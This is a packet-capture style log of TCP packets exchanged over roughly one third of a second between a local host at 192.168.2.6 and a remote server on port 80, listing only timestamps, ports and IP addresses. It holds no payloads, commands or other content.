Nov 23, 2024 21:59:17.962291002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.962383032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.962907076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.962968111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.963423967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.963474035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.963869095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.963927984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.964517117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.964567900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.964646101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.964729071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.965347052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.965389013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.966177940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.966233969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.966408014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.966578960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.967046022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.967094898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.967403889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.967456102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.967612982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.967792034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.968455076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.968502998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.969459057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.969501019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.020040035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.020081043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.020095110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.020127058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.020488024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.020539045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.020569086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.020618916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.021506071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.021570921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.021635056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.021706104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.022537947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.022588968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.022841930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.022897005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.023551941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.023621082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.023686886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.023736000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.024579048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.024629116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.024782896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.024830103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.025604010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.025654078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.026271105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.026336908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.026634932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.026684046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.026722908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.026771069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.027656078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.027702093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.027793884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.027856112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.028676987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.028737068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.028801918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.028896093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.029764891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.029814959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.029853106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.029905081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.030730009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.030778885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.030901909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.030952930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.031771898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.031871080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.032062054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.032123089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.032797098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.032847881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.032902002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.032948017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.033809900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.033864975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.034038067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.034087896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.034852982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.034902096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.035001040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.035048962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.035936117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.036021948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.036026955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.036068916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.036890030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.036938906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.037679911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.037730932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.037945032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.037961006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.037992954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.038012028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.038929939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.038978100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.039953947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.040005922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.070669889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.070727110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.070997953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.071017027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.071033955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.071046114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.071063042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.071084976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.072010994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.072043896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.072057009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.072082043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.072993040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.073046923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.073618889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.073671103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.074018955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.074069977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.074553967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.074672937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.075057983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.075107098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.075506926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.075553894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.076088905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.076138973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.076812029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.076864958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.077120066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.077179909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.077234983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.077287912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.078157902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.078207016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.078320980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.078366041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.079152107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.079344988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.079348087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.079391956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.080185890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.080235958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.080317020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.080434084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.081245899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.081270933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.081298113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.081320047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.082238913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.082290888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.082355976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.082406044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.083264112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.083311081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.083343983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.083385944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.084295034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.084350109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.084789038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.084845066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.085397959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.085448027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.085722923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.085844040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.086348057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.086394072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.086494923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.086540937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.153923988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.154031038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.154031992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.154084921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.154376984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.154433966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.154489040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.154540062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.155383110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.155440092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.155502081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.155559063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.156404018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.156464100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.156490088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.156570911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.157481909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.157536983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.157537937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.157587051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.158441067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.158504963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.159060001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.159121990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.159478903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.159531116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.159809113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.159863949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.160490990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.160598040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.161461115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.161520004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.161573887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.161622047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.161623001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.161670923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.162549019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.162605047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.162663937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.162717104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.163570881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.163736105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.164252043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.164335966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.164639950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.164695024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.165357113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.165488005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.165622950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.165688992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.166049004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.166198015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.166675091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.166722059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.167082071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.167136908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.167685986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.167742968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.168661118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.168716908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.168741941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.168791056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.168793917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.168839931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.169747114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.169806957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.169841051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.169904947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.221102953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.221162081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.221227884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.221295118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.221375942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.221426964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.221443892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.221472025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.222449064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.222498894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.222547054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.222578049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.223416090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.223469973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.223614931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.223665953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.224453926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.224514961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.224709988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.224786043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.225562096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.225617886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.225791931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.225838900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.226501942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.226566076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.226650000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.226705074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.227555990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.227607965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.227669001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.227844000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.228600025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.228657007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.229255915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.229315042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.229604006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.229657888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.229720116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.229819059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.230621099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.230674028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.230739117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.230787992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.231767893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.231825113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.231838942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.231888056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.232673883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.232723951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.232742071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.232784033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.233815908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.233891010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.234121084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.234174013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.234940052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.235013962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.235263109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.235733032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.235980034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.236044884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.236102104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.236187935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.236996889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.237061024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.237287998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.237340927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.237791061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.237854004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.237874031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.237936020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.238882065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.238938093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.239114046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.239160061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.239860058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.239912987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.239995003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.240852118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.240906000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.271960020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.272036076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.272056103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.272098064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.272363901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.272414923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.272423983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.272485971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.273400068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.273457050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.273507118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.273556948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.274383068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.274449110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.274614096 CET	80	49714	185.215.113.206	192.168.2.6
